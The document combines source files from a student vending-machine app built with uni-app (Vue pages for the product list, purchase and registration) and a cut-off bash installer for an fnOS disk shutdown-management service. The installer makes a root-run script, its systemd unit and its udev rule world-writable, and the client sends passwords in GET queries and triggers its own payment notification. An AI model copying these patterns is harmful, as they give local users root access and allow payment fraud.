})
} else {
this.$log.info(tag, "onOrderListButtonClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
onProductItemClicked(index) {
this.$log.info(tag, `onProductItemClicked ${index}`);
// 如果已登录，跳转“购买商品页”
if (this.loginManager.isLoggedIn()) {
this.$log.info(tag, "onProductItemClicked navigate to purchase")
let productJsonString = JSON.stringify(this.items[index])
uni.navigateTo({
url: `/pages/purchase/purchase?product=${encodeURIComponent(productJsonString)}`
})
} else { //如果未登录，跳转“登录页”
this.$log.info(tag, "onProductItemClicked navigate to login")
uni.navigateTo({
url: '/pages/login/login'
})
}
},
fetchProductList() {
this.$log.info(tag, "fetchProductList");
uni.request({
url: `${this.constant.BASE_URL}/api/machine/products`,
method: 'GET',
data: {
'machineNo': this.constant.MACHINE_NO,
},
header: {
'content-type': 'application/x-www-form-urlencoded'
},
success: (res) => {
this.$log.info(tag, "获取商品列表成功");
this.loading = false;
this.loaded = true;
this.items = this.parseProductList(res.data);
},
fail: (error) => {
this.$log.error(tag, "获取商品列表失败");
}
});
},
parseProductList(jsonObject) {
let productList = [];
jsonObject.data.forEach((catagory) => {
catagory.productList.forEach((product) => {
productList.push(new Product(
product.productId,
product.name,
product.price,
`${this.constant.BASE_URL}${product.cover}`,
product.stock
));
});
});
console.log(productList);
return productList;
}
}
}
</script>
<style>
.container {
display: flex;
flex-direction: column;
}
.product-item-container {
display: flex;
flex-direction: row;
margin-bottom: 30rpx;
align-items: center;
justify-content: center;
}
.product-item-info-container {
display: flex;
flex-direction: column;
margin-left: 20rpx;
}
.product-item-name {
font-size: 38rpx;
font-weight: bold;
}
.product-item-stock {
font-size: 30rpx;
color: grey;
}
.product-item-price {
font-size: 38rpx;
font-weight: bold;
color: coral
}
.product-item-image {
width: 200rpx;
height: 200rpx;
}
.product-item-hover-effect {
opacity: 0.5;
}
.loading-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.loading-text {
font-size: 40rpx;
color: grey;
}
.loading-icon {
width: 80px;
height: 80px;
}
.error-container {
height: 100vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.error-icon {
width: 80px;
height: 80px;
}
.error-text {
color: grey;
font-size: 30rpx;
margin-top: 5px;
}
.retry-button {
font-size: 35rpx;
margin-top: 15px;
color: steelblue;
}
.order-list-container {
position: fixed;
bottom: 50px;
right: 20px;
width: 40px;
height: 40px;
background-color: #08f;
border-radius: 50%;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.order-list-container-hover {
opacity: 0.5;
}
.order-list-icon-text {
color: white;
font-size: 70rpx;
font-weight: bold;
padding-bottom: 2px;
}
.button {
display: inline-flex;
padding: 0 20px;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/product-list/product-list.vue
|
Vue
|
unknown
| 6,004
|
<template>
<view class="container">
<image :src="testData.imageUrl" mode="aspectFit" class="product-img"></image>
<text class="product-name">购买1件{{testData.name}}</text>
<text class="product-price">{{testData.price}}元</text>
<button class="pay-btn" @click="onWechatPayButtonClicked()">
<image src="/static/wechat-icon.png" class="wechat-icon"></image>
<text class="pay-btn-text">微信支付</text>
</button>
</view>
</template>
<script>
let tag = 'purchase'
export default {
data() {
return {
testData: ""
}
},
methods: {
onWechatPayButtonClicked() {
this.$log.info(tag, "onWechatPayButtonClicked");
this.createOrder();
},
createOrder() {
this.$log.info(tag, "createOrder");
uni.request({
url: `${this.constant.BASE_URL}/api/order/create4Ma`,
method: 'POST',
header: {
'Authorization': this.loginManager.getToken(),
},
data: {
'amount': 1,
'machineNo': this.constant.MACHINE_NO,
'productId': this.testData.id,
},
success: (res) => {
this.$log.info(tag, JSON.stringify(res.data))
this.$log.info(tag, `createOrder success ${res.data.code}`)
if (res.data.code == 200) {
this.$log.info(tag, "创建成功")
this.payOrder(res.data.orderNo);
}
},
fail: (error) => {
console.error(error);
}
})
},
payOrder(orderNo) {
this.$log.info(tag, `payOrder ${orderNo}`)
uni.request({
url: `${this.constant.BASE_URL}/wxpay/notify/pay/${orderNo}`,
method: 'GET',
success: (res) => {
this.$log.info(tag, "success")
this.$log.info(tag, JSON.stringify(res.data))
if (res.data.code == 200) {
uni.showToast({
icon: 'success',
title: `支付成功${orderNo}`,
duration: 1500
}),
uni.navigateTo({
url: `/pages/order/order?orderNo=${orderNo}`
})
}
},
fail: (err) => {
this.$log.error(tag, err.errMsg)
}
})
}
},
onLoad(parameters) {
this.$log.info(tag, `onLoad`)
let productJSONString = decodeURIComponent(parameters.product)
let product = JSON.parse(productJSONString)
this.testData = product
},
onShow() {
this.$log.info(tag, `onShow`);
},
onReady() {
this.$log.info(tag, `onReady`);
},
onHide() {
this.$log.info(tag, `onHide`);
},
onUnload() {
this.$log.info(tag, `onUnload`);
},
}
</script>
<style>
.container {
padding: 30rpx 20rpx;
display: flex;
flex-direction: column;
align-items: center;
background-color: #fafafa;
min-height: 100vh;
}
.product-img {
width: 320rpx;
height: 320rpx;
border-radius: 16rpx;
margin-bottom: 30rpx;
}
.product-name {
font-size: 34rpx;
color: #333;
font-weight: 500;
margin-bottom: 20rpx;
}
.product-price {
font-size: 40rpx;
color: #ff3b30;
font-weight: 600;
margin-bottom: 40rpx;
}
.pay-btn {
width: 90%;
/* background-color: #07c160; */
color: #fff;
font-size: 32rpx;
border-radius: 80rpx;
padding: 18rpx 0;
display: flex;
align-items: center;
justify-content: center;
border: #999 solid;
}
.pay-btn::after {
border: none;
}
.wechat-icon {
width: 40rpx;
height: 40rpx;
margin-right: 16rpx;
vertical-align: middle;
}
.pay-btn-text {
vertical-align: middle;
color: #333;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/purchase/purchase.vue
|
Vue
|
unknown
| 3,381
|
<template>
<view class="container">
<input v-model="userName" class="input" placeholder="请输入用户名"></input>
<input v-model="firstPassword" password class="input" placeholder="请输入密码"></input>
<input v-model="secondPassword" password class="input" placeholder="请再次输入密码"></input>
<button @click="onRegisterButtonClicked()" class="button">注册</button>
</view>
</template>
<script>
let tag = 'register';
export default {
data() {
return {
userName: "",
firstPassword: "",
secondPassword: "",
isLoading: false
}
},
methods: {
onRegisterButtonClicked() {
if (this.isLoading) return;
this.$log.info(tag, "onRegisterButtonClicked");
if (!this.userName || !this.firstPassword || !this.secondPassword) {
uni.showToast({
icon: 'none',
title: "用户名或密码为空",
duration: 1500
});
return;
}
if (this.firstPassword !== this.secondPassword) {
uni.showToast({
icon: 'error',
title: "密码不一致",
duration: 1500
});
this.firstPassword = "";
this.secondPassword = "";
return;
}
this.isLoading = true;
this.getCode(this.userName, this.firstPassword);
},
getCode(userName, password) {
this.$log.info(tag, "getCode");
uni.request({
url: `${this.constant.BASE_URL}/api/code`,
method: 'GET',
data: {
password: password,
username: userName
},
success: (res) => {
this.$log.info(tag, "getCode success");
this.$log.info(tag, JSON.stringify(res.data));
this.$log.info(tag, res.data.valid_code);
this.register(userName, password, res.data.valid_code)
},
fail: (err) => {
this.$log.error(tag, "getCode fail: " + err.errMsg);
}
});
},
register(userName, password, valid_code) {
this.$log.info(tag, "register");
uni.request({
url: `${this.constant.BASE_URL}/api/register`,
method: 'POST',
data: {
password: password,
username: userName,
code: valid_code
},
success: (res) => {
this.isLoading = false;
this.$log.info(tag, "register success");
this.$log.info(tag, JSON.stringify(res.data));
if (res.data.code == 200) {
this.$log.info(tag, userName + "注册成功");
uni.showToast({
icon: 'success',
title: res.data.msg || "注册成功",
duration: 1500
});
setTimeout(() => {
uni.navigateTo({
url: '/pages/login/login'
})
}, 1500);
} else {
uni.showToast({
icon: 'none',
title: res.data.msg || "注册失败",
duration: 1500
});
}
},
fail: (err) => {
this.isLoading = false;
this.$log.error(tag, "register fail: " + err.errMsg);
uni.showToast({
icon: 'none',
title: "注册请求失败",
duration: 1500
});
}
})
}
}
}
</script>
<style>
.container {
padding: 20px 20px;
height: 50vh;
display: flex;
flex-direction: column;
align-items: center;
justify-content: center;
}
.input {
width: 100%;
border-style: solid;
border-color: grey;
border-radius: 20px;
border-width: 1px;
padding: 5px 10px;
font-size: 35rpx;
margin-bottom: 10px;
}
.button {
width: 100%;
background-color: #08f;
font-size: 35rpx;
color: white;
font-weight: bold;
border-radius: 20px;
margin-bottom: 10px;
}
</style>
|
2301_82115348/VendingMachine_1104
|
pages/register/register.vue
|
Vue
|
unknown
| 3,496
|
uni.addInterceptor({
returnValue (res) {
if (!(!!res && (typeof res === "object" || typeof res === "function") && typeof res.then === "function")) {
return res;
}
return new Promise((resolve, reject) => {
res.then((res) => {
if (!res) return resolve(res)
return res[0] ? reject(res[0]) : resolve(res[1])
});
});
},
});
|
2301_82115348/VendingMachine_1104
|
uni.promisify.adaptor.js
|
JavaScript
|
unknown
| 373
|
/**
* 这里是uni-app内置的常用样式变量
*
* uni-app 官方扩展插件及插件市场（https://ext.dcloud.net.cn）上很多三方插件均使用了这些样式变量
* 如果你是插件开发者，建议你使用scss预处理，并在插件代码中直接使用这些变量（无需 import 这个文件），方便用户通过搭积木的方式开发整体风格一致的App
*
*/
/**
* 如果你是App开发者（插件使用者），你可以通过修改这些变量来定制自己的插件主题，实现自定义主题功能
*
* 如果你的项目同样使用了scss预处理，你也可以直接在你的 scss 代码中使用如下变量，同时无需 import 这个文件
*/
/* 颜色变量 */
/* 行为相关颜色 */
$uni-color-primary: #007aff;
$uni-color-success: #4cd964;
$uni-color-warning: #f0ad4e;
$uni-color-error: #dd524d;
/* 文字基本颜色 */
$uni-text-color:#333;//基本色
$uni-text-color-inverse:#fff;//反色
$uni-text-color-grey:#999;//辅助灰色，如加载更多的提示信息
$uni-text-color-placeholder: #808080;
$uni-text-color-disable:#c0c0c0;
/* 背景颜色 */
$uni-bg-color:#ffffff;
$uni-bg-color-grey:#f8f8f8;
$uni-bg-color-hover:#f1f1f1;//点击状态颜色
$uni-bg-color-mask:rgba(0, 0, 0, 0.4);//遮罩颜色
/* 边框颜色 */
$uni-border-color:#c8c7cc;
/* 尺寸变量 */
/* 文字尺寸 */
$uni-font-size-sm:12px;
$uni-font-size-base:14px;
$uni-font-size-lg:16px;
/* 图片尺寸 */
$uni-img-size-sm:20px;
$uni-img-size-base:26px;
$uni-img-size-lg:40px;
/* Border Radius */
$uni-border-radius-sm: 2px;
$uni-border-radius-base: 3px;
$uni-border-radius-lg: 6px;
$uni-border-radius-circle: 50%;
/* 水平间距 */
$uni-spacing-row-sm: 5px;
$uni-spacing-row-base: 10px;
$uni-spacing-row-lg: 15px;
/* 垂直间距 */
$uni-spacing-col-sm: 4px;
$uni-spacing-col-base: 8px;
$uni-spacing-col-lg: 12px;
/* 透明度 */
$uni-opacity-disabled: 0.3; // 组件禁用态的透明度
/* 文章场景相关 */
$uni-color-title: #2C405A; // 文章标题颜色
$uni-font-size-title:20px;
$uni-color-subtitle: #555555; // 二级标题颜色
$uni-font-size-subtitle:26px;
$uni-color-paragraph: #3F536E; // 文章段落颜色
$uni-font-size-paragraph:15px;
|
2301_82115348/VendingMachine_1104
|
uni.scss
|
SCSS
|
unknown
| 2,217
|
#!/bin/bash
# 飞牛OS磁盘管理部署脚本（简化版）
# 终端颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BOLD='\033[1m'
NC='\033[0m'
# 路径常量 - 修改业务脚本路径为/usr/local/bin/
SERVICE_SCRIPT="/usr/local/bin/scsi-disk-manager"
UDEV_RULE="/etc/udev/rules.d/99-scsi-disk-trigger.rules"
SYSTEMD_SERVICE="/etc/systemd/system/scsi-disk-manager.service"
LOG_DIR="/vol1/1000/_HDDlog"
LOG_FILE="$LOG_DIR/scsi-disk-manager.log"
# 权限检查
if [[ $EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行，可在指令前面加sudo临时提权"
exit 1
fi
# 交互流程1：安装、卸载选择（优化输入判定）
clear
echo "--------------------------------------------------------------------------------"
echo -e "${BOLD}【功能说明】${NC}"
echo " • 即将部署：manage_shutdown（关机安全断电管理）"
echo " • 功能作用：控制硬盘在系统关机/重启阶段的断电逻辑（确保数据同步、安全断电）"
echo " • 解决问题：飞牛OS关机时硬盘异响，硬盘不安全断电次数增加的问题"
echo " • 部署内容：启用功能（修改关键值为1）、配置systemd开机自启、udev热插拔触发、配置日志记录"
echo "--------------------------------------------------------------------------------"
echo -e "${BOLD}【请选择安装或卸载】${NC}"
echo "1. 一键部署并开启飞牛OS关机磁盘安全断电管理功能"
echo -e "2. 一键卸载 ${RED}（禁用功能（关键值改为0），清理所有组件）${NC}"
echo -e "\n${YELLOW}操作说明：单选1或2，无操作2分钟后自动退出，按ctrl+c中断退出${NC}"
# 优化输入判定：循环等待有效输入，增加错误提示
while true; do
read -t 120 OPTION
# 超时处理
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
# 有效输入判定
if [ "$OPTION" = "1" ] || [ "$OPTION" = "2" ]; then
break
else
echo -e "${RED}❌ 输入无效！请仅输入数字1（安装）或2（卸载）${NC}"
echo -e "${YELLOW}再次提示：单选1或2，无操作2分钟后自动退出${NC}"
fi
done
# 卸载函数（直接将关键值改为0，不询问）
uninstall() {
# 卸载前二次确认（新增无效输入循环）
clear
echo -e "${BOLD}此操作会执行：${NC}"
echo "禁用manage_shutdown（关键值改为0）、"
echo "清理systemd服务、"
echo "清理udev规则、"
echo "清理业务脚本、"
echo "清理脚本日志目录"
echo -e "\n${YELLOW}输入y/Y确认卸载，按ctrl+c中断退出${NC}"
# 新增：循环等待有效输入
while true; do
read -t 120 CONFIRM_UNINSTALL
if [ $? -ne 0 ]; then
echo -e "\n${RED}2分钟无操作，自动退出${NC}"
exit 0
fi
if [ "$CONFIRM_UNINSTALL" = "y" ] || [ "$CONFIRM_UNINSTALL" = "Y" ]; then
break
else
echo -e "${RED}输入无效，请输入y/Y确认卸载，或按ctrl+c中断${NC}"
fi
done
# 直接将所有磁盘关键值设为0（不询问）
echo -e "\n${BOLD}【卸载步骤1：禁用关机安全断电功能】${NC}"
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "$disk_dir" ]] || continue
disk_scsi_id=$(basename "$disk_dir")
echo "处理磁盘$disk_scsi_id..."
# 将 manage_shutdown 强制设为 0
echo 0 > "$disk_dir/manage_shutdown" 2>/dev/null
new_value=$(cat "$disk_dir/manage_shutdown" 2>/dev/null)
if [[ "$new_value" -eq 0 ]]; then
echo " - 已成功设置 manage_shutdown=0"
else
echo " - 设置 manage_shutdown=0 失败"
fi
done
# 原卸载逻辑：清理组件（完全保留，无修改）
echo -e "\n${BOLD}【卸载步骤2：清理组件】${NC}"
# 1. 清理systemd服务
if [ -f "$SYSTEMD_SERVICE" ]; then
# 先停止服务（若正在运行）
if systemctl is-active --quiet scsi-disk-manager.service; then
systemctl stop scsi-disk-manager.service
fi
# 关键修改：捕获 systemctl disable 的输出，判断是否删除开机自启链接
echo "正在禁用systemd服务开机自启..."
DISABLE_OUTPUT=$(systemctl disable scsi-disk-manager.service 2>&1) # 捕获 stdout 和 stderr
if echo "$DISABLE_OUTPUT" | grep -q "Removed"; then
# 捕捉到 Removed 提示，说明开机自启链接已成功删除
echo " - 已成功删除 scsi-disk-manager 服务的开机自启链接"
else
# 未捕捉到，提示可能未删除（可能本身未启用开机自启，或链接不存在）
echo " - 未检测到开机自启链接（可能已删除或未启用），跳过链接删除"
fi
# 删除服务文件
rm -f "$SYSTEMD_SERVICE"
systemctl daemon-reload
echo "1. 已清理systemd服务"
else
echo "1. systemd服务文件不存在，跳过清理"
fi
# 2. 清理udev规则
if [ -f "$UDEV_RULE" ]; then
rm -f "$UDEV_RULE"
udevadm control --reload-rules
echo "2. 已清理udev规则"
else
echo "2. udev规则文件不存在，跳过清理"
fi
# 3. 清理业务脚本（同步更新路径）
if [ -f "$SERVICE_SCRIPT" ]; then
rm -f "$SERVICE_SCRIPT"
echo "3. 已清理业务脚本"
else
echo "3. 业务脚本不存在，跳过清理"
fi
# 4. 清理日志目录（自定义日志）
if [ -d "$LOG_DIR" ]; then
rm -rf "$LOG_DIR"
echo "4. 已清理自定义日志目录"
else
echo "4. 自定义日志目录不存在，跳过清理"
fi
echo -e "\n${GREEN}✅ 【卸载完成】已禁用关机磁盘安全断电功能并清理所有组件${NC}"
exit 0
}
# 若选择卸载，执行卸载流程；选择安装，继续后续功能选择
if [ "$OPTION" = "2" ]; then
uninstall
elif [ "$OPTION" != "1" ]; then
echo -e "${RED}无效选项，退出${NC}"
exit 1
fi
# 直接启用功能2：manage_shutdown（不再提供功能选择）
SELECTED_FUNC_LIST=("manage_shutdown:关机安全断电管理")
SELECTED_FUNCS="2"
# 部署步骤1/4：修改为目录检测（替换原挂载检测）
echo -e "\n${BOLD}【部署步骤1/4:检查日志目录状态】${NC}"
if [ ! -d "$LOG_DIR" ]; then
echo -e "${YELLOW}日志目录$LOG_DIR不存在，正在创建...${NC}"
mkdir -p "$LOG_DIR" 2>/dev/null
chmod 777 "$LOG_DIR"
if [ $? -ne 0 ]; then
echo -e "${RED}创建日志目录失败，部署终止！${NC}"
exit 1
fi
fi
echo -e "${GREEN}✅ 日志目录$LOG_DIR已就绪，继续部署${NC}"
sleep 1
# 若业务脚本存在，在生成业务脚本前添加覆盖提示：
if [ -f "$SERVICE_SCRIPT" ]; then
echo -e "${YELLOW}提示：$SERVICE_SCRIPT 已存在，即将覆盖${NC}"
fi
# 步骤1/3：动态生成服务脚本（仅保留 manage_shutdown 功能，删除备份相关逻辑）
echo -e "${BOLD}【部署步骤2/4：生成业务脚本】${NC}"
cat > "$SERVICE_SCRIPT" <<EOF
#!/bin/bash
# 飞牛OS磁盘管理业务脚本（仅启用：关机安全断电管理）
AUTO_TRIGGER=\${AUTO_TRIGGER:-false}
LOG_DIR="$LOG_DIR"
LOG_FILE="$LOG_FILE"
SERVICE_PATH="$SERVICE_SCRIPT"
# 30秒等待
if [ "\$AUTO_TRIGGER" = "false" ]; then
echo -n "【等待阶段】等待日志目录就绪，30秒后开始执行..."
for ((i=30; i>0; i--)); do
echo -ne "\r【等待阶段】等待日志目录就绪，\$i秒后开始执行..."
sleep 1
done
echo -e "\r【等待阶段】等待日志目录就绪，0秒后开始执行..."
else
sleep 30
fi
# 新增：目录检测（替换原挂载检测）
if [ ! -d "\$LOG_DIR" ]; then
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "【自动触发失败】日志目录\$LOG_DIR不存在，无法执行" >> "\$LOG_FILE"
else
echo "【错误】日志目录\$LOG_DIR不存在，无法执行"
fi
exit 1
fi
# 创建日志目录（777权限）
mkdir -p "\$LOG_DIR" 2>/dev/null
chmod 777 "\$LOG_DIR"
touch "\$LOG_FILE" 2>/dev/null
chmod 777 "\$LOG_FILE"
# 权限检查
if [[ \$EUID -ne 0 ]]; then
echo "【权限错误】需root权限运行" | tee -a "\$LOG_FILE"
echo "【手动执行提示】若需手动触发配置，可执行：sudo \$SERVICE_PATH" | tee -a "\$LOG_FILE"
exit 1
fi
# 启动信息
START_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo -e "\n\n\n================【自动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
else
echo -e "\n\n\n================【手动触发-业务脚本启动】\$START_TIME================
" | tee -a "\$LOG_FILE"
fi
sleep 1
# 磁盘配置核心逻辑（仅处理 manage_shutdown）
DISK_TOTAL=\$(ls -A /sys/class/scsi_disk/ 2>/dev/null | wc -l)
echo "【磁盘检测】共读取到\$DISK_TOTAL个硬盘" | tee -a "\$LOG_FILE"
echo "-------------------------------------------------------------------------------" | tee -a "\$LOG_FILE"
# 新增：细分统计变量
declare -a SUCCESS_DISKS=()
declare -a FAILED_DISKS=()
declare -a NO_OPERATION_DISKS=()
DISK_PROCESSED=0
SUCCESS_PROCESSED=0
FAILED_PROCESSED=0
NO_OPERATION_COUNT=0
for disk_dir in /sys/class/scsi_disk/*; do
[[ -d "\$disk_dir" ]] || continue
DISK_PROCESSED=\$((DISK_PROCESSED + 1))
disk_scsi_id=\$(basename "\$disk_dir")
disk_dev_subdir=\$(find "\$disk_dir/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=\$(basename "\$disk_dev_subdir")
disk_dev_path="/dev/\$disk_dev"
# 获取磁盘信息
if command -v lsblk &>/dev/null; then
disk_model=\$(lsblk -no MODEL "\$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_serial=\$(lsblk -no SERIAL "\$disk_dev_path" 2>/dev/null || echo "未知序列号")
else
disk_model="未知型号"
disk_serial="未知序列号"
fi
# 配置输出
echo "【硬盘信息】盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial" | tee -a "\$LOG_FILE"
# 新增：当前磁盘的状态标记
all_success=true
has_modification=false
all_no_operation=true
# 仅配置 manage_shutdown
file_name="manage_shutdown"
func_desc="关机安全断电管理"
file_path="\$disk_dir/\$file_name"
if [[ -f "\$file_path" ]]; then
orig_value=\$(cat "\$file_path")
printf "%-30s（%-20s） 原始值：%s → " "\$file_name" "\$func_desc" "\$orig_value" | tee -a "\$LOG_FILE"
# 根据原始值判断是否需要修改
if [[ "\$orig_value" -eq 0 ]]; then
# 原始值为0，执行修改
echo 1 > "\$file_path" 2>/dev/null
new_value=\$(cat "\$file_path")
if [[ "\$new_value" -eq 1 ]]; then
result="新值：\$new_value【成功】"
has_modification=true
all_no_operation=false
else
result="新值：\$new_value【失败】"
all_success=false
all_no_operation=false
fi
else
# 原始值为1，不修改
result="保持值：1【无需修改】"
fi
echo "\$result" | tee -a "\$LOG_FILE"
else
printf "%-30s（%-20s） 文件不存在【失败】\n" "\$file_name" "\$func_desc" | tee -a "\$LOG_FILE"
all_success=false
all_no_operation=false
fi
echo "-------------------------------------------------------------------------------" | tee -a "\$LOG_FILE"
# 记录结果
disk_info="盘符:\$disk_dev_path | 型号:\$disk_model | 序列号:\$disk_serial | SCSI_ID:\$disk_scsi_id"
if [ "\$all_success" = true ]; then
if [ "\$all_no_operation" = true ]; then
NO_OPERATION_DISKS+=("\$disk_info")
NO_OPERATION_COUNT=\$((NO_OPERATION_COUNT + 1))
else
SUCCESS_DISKS+=("\$disk_info")
SUCCESS_PROCESSED=\$((SUCCESS_PROCESSED + 1))
fi
else
FAILED_DISKS+=("\$disk_info")
FAILED_PROCESSED=\$((FAILED_PROCESSED + 1))
fi
done
# 配置统计
echo "----------------------------【配置统计】----------------------------------------" | tee -a "\$LOG_FILE"
echo "【处理总量】共读取到\$DISK_TOTAL个硬盘 | 本次处理成功\$SUCCESS_PROCESSED个 | 本次处理失败\$FAILED_PROCESSED个 | 本次无需处理\$NO_OPERATION_COUNT个" | tee -a "\$LOG_FILE"
# 提示信息
echo "【提示】" | tee -a "\$LOG_FILE"
echo "1. 若自动化失败尝试手动执行：sudo /usr/local/bin/scsi-disk-manager" | tee -a "\$LOG_FILE"
echo "2. 卸载脚本：重新执行原始脚本并选择卸载" | tee -a "\$LOG_FILE"
echo "3. 本日志自动保留最新500行，超出自动清理老旧日志" | tee -a "\$LOG_FILE"
# 结束信息
END_TIME=\$(date +'%Y-%m-%d %H:%M:%S')
if [ "\$AUTO_TRIGGER" = "true" ]; then
echo "………………………………【自动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
else
echo "………………………………【手动触发-业务脚本结束】\$END_TIME………………………………
" | tee -a "\$LOG_FILE"
fi
# 日志裁剪：仅保留最后500行
if [ -f "\$LOG_FILE" ]; then
tail -n 500 "\$LOG_FILE" > "\$LOG_FILE.tmp"
mv -f "\$LOG_FILE.tmp" "\$LOG_FILE"
chmod 777 "\$LOG_FILE"
fi
EOF
# 设置服务脚本权限为777
chmod 777 "$SERVICE_SCRIPT"
echo -e "${GREEN}✅ 业务脚本已生成（仅启用：关机安全断电管理）${NC}"
sleep 1
echo -e "\n${BOLD}【部署步骤3/4：配置systemd服务】${NC}"
cat > "$SYSTEMD_SERVICE" <<EOF
[Unit]
Description=SCSI Disk Manager Service
After=local-fs.target
[Service]
Type=oneshot
User=root
Group=root
Environment="AUTO_TRIGGER=true"
ExecStart=$SERVICE_SCRIPT
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target
EOF
# 赋权：777权限
chmod 777 "$SYSTEMD_SERVICE"
echo -e "${GREEN}✅ systemd服务文件已生成${NC}"
# 记录触发前的日志位置
echo "尝试记录触发前日志位置，用于开机自启验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 让 systemd 服务管理器重新读取所有服务配置文件
systemctl daemon-reload
# 尝试启用开机自启、启动systemd服务、触发业务脚本执行
echo -e "启用开机自启、启动systemd服务、触发业务脚本执行..."
echo -e "请等待验证systemd服务触发业务脚本，大约35秒..."
systemctl enable --now scsi-disk-manager.service
echo -e "请等待日志验证..."
# 等待3秒
sleep 3
# 对比触发前的日志位置检查日志是否有新的触发记录
new_trigger=$(tail -n +"$log_position" "$LOG_FILE" 2>/dev/null | grep -E "【自动触发-业务脚本启动】")
if [ -n "$new_trigger" ]; then
echo -e " ${GREEN}✓ 开机自启测试成功，已生成自动触发日志${NC}"
else
echo -e " ${YELLOW}⚠ 开机自启测试失败，未检测到新日志${NC}"
fi
# 尝试捕获触发日志
echo -e "\n${BOLD}【尝试读取日志验证systemd服务触发状态】${NC}"
START_RECORD=$(grep -E "【(自动|手动)触发-业务脚本启动】" "$LOG_FILE" | tail -n 1)
if [ -n "$START_RECORD" ]; then
START_TIME=$(echo "$START_RECORD" | sed -n 's/.*【[^】]*】\([0-9]\{4\}-[0-9]\{2\}-[0-9]\{2\} [0-9]\{2\}:[0-9]\{2\}:[0-9]\{2\}\).*/\1/p')
if [ -n "$START_TIME" ]; then
echo -e "${GREEN}✅ 成功捕获脚本启动时间记录：$START_TIME${NC}"
echo -e "${GREEN}systemd服务开机自启已配置并触发，请在储存空间1/_HDDlog目录查看完整日志${NC}"
else
echo -e "${YELLOW}⚠ 捕获到启动记录，但未提取到时间戳，建议手动查看日志确认${NC}"
fi
else
echo -e "${RED}❌ 未捕获到服务启动日志，可能systemd服务触发失败${NC}"
echo -e "${YELLOW}排查建议：1. 检查服务状态：systemctl status scsi-disk-manager.service 2. 手动查看日志：cat $LOG_FILE${NC}"
fi
sleep 1
# 步骤3：配置udev规则
echo -e "\n${BOLD}【部署步骤4/4：部署新插入磁盘自动触发udev规则】${NC}"
cat > "$UDEV_RULE" <<EOF
ACTION=="add", SUBSYSTEM=="scsi_disk", RUN+="/bin/systemctl start scsi-disk-manager.service"
EOF
chmod 777 "$UDEV_RULE"
udevadm control --reload-rules
echo -e "${GREEN}✅ udev规则文件已生成${NC}"
sleep 1
# 记录触发前的日志位置
echo "尝试记录触发前日志位置，用于udev有效性验证"
log_position=$(wc -l < "$LOG_FILE" 2>/dev/null || echo 0)
# 验证udev规则是否生效（完全保留原有代码）
echo -e "\n${BOLD}【验证udev规则有效性】${NC}"
echo "正在筛选符合条件的scsi_disk设备（避免唤醒休眠硬盘）..."
echo "---------------------------------------------------"
declare -a CANDIDATE_DEVICES=()
declare -a CANDIDATE_DESC=()
while read -r dev; do
state_file="${dev}/device/state"
if [ ! -f "$state_file" ] || [ "$(cat "$state_file")" != "running" ]; then
continue
fi
disk_scsi_id=$(basename "$dev")
disk_dev_subdir=$(find "$dev/device/block/" -maxdepth 1 -type d ! -name "block" | head -n1)
disk_dev=$(basename "$disk_dev_subdir")
[ -z "$disk_dev" ] && continue
disk_dev_path="/dev/$disk_dev"
disk_model=$(lsblk -d -n -o MODEL "$disk_dev_path" 2>/dev/null || echo "未知型号")
disk_rm=$(lsblk -d -n -o RM "$disk_dev_path" 2>/dev/null || echo 0)
disk_rotational=$(cat "/sys/block/${disk_dev}/rotational" 2>/dev/null || echo 1)
if echo "$disk_dev" | grep -qi "^mmcblk" || echo "$disk_model" | grep -qi "mmc"; then
echo "❌ 排除设备：/dev/${disk_dev}（MMC设备，型号：${disk_model}）"
continue
fi
# 新增：排除系统盘（综合判断）
is_system_disk=false
# 方法1：检查是否挂载为根文件系统
if mount | grep -q "^/dev/${disk_dev}[0-9]*.*on.*/ type"; then
is_system_disk=true
fi
# 方法2：检查udev系统盘属性
if udevadm info -q property -n "/dev/$disk_dev" 2>/dev/null | grep -q "UDISKS_SYSTEM=1"; then
is_system_disk=true
fi
if [ "$is_system_disk" = true ]; then
echo "❌ 排除设备：/dev/${disk_dev}（系统盘，型号：${disk_model}）"
continue
fi
#固态和机械盘规则
disk_size_raw=$(lsblk -d -n -o SIZE "$disk_dev_path" 2>/dev/null || echo "0")
if echo "$disk_size_raw" | grep -qi "G"; then
disk_size=$(echo "$disk_size_raw" | sed 's/[Gg]//; s/\..*//; s/[^0-9]//g')
elif echo "$disk_size_raw" | grep -qi "M"; then
mb_size=$(echo "$disk_size_raw" | sed 's/[Mm]//; s/\..*//; s/[^0-9]//g')
disk_size=$(( mb_size / 1024 ))
else
disk_size=0
fi
disk_size=${disk_size:-0}
is_usb_candidate=0
if [ "$disk_rm" -eq 1 ] && [ "$disk_size" -lt 64 ]; then
is_usb_candidate=1
device_type="U盘/读卡器"
type_desc="${device_type}（容量：${disk_size_raw}，型号：${disk_model}，判定条件：可移除设备 + 容量<64GB）"
echo "✅ 符合条件（优先U盘）：/dev/${disk_dev} - ${type_desc}"
CANDIDATE_DEVICES+=("$dev|$disk_size|$disk_size_raw|$disk_rm|u盘|$disk_dev|$disk_model|$disk_rotational")
CANDIDATE_DESC+=("$type_desc")
continue
fi
if [ "$disk_rotational" = "0" ] || echo "$disk_model" | grep -qiE "ssd|solid state"; then
disk_type="ssd"
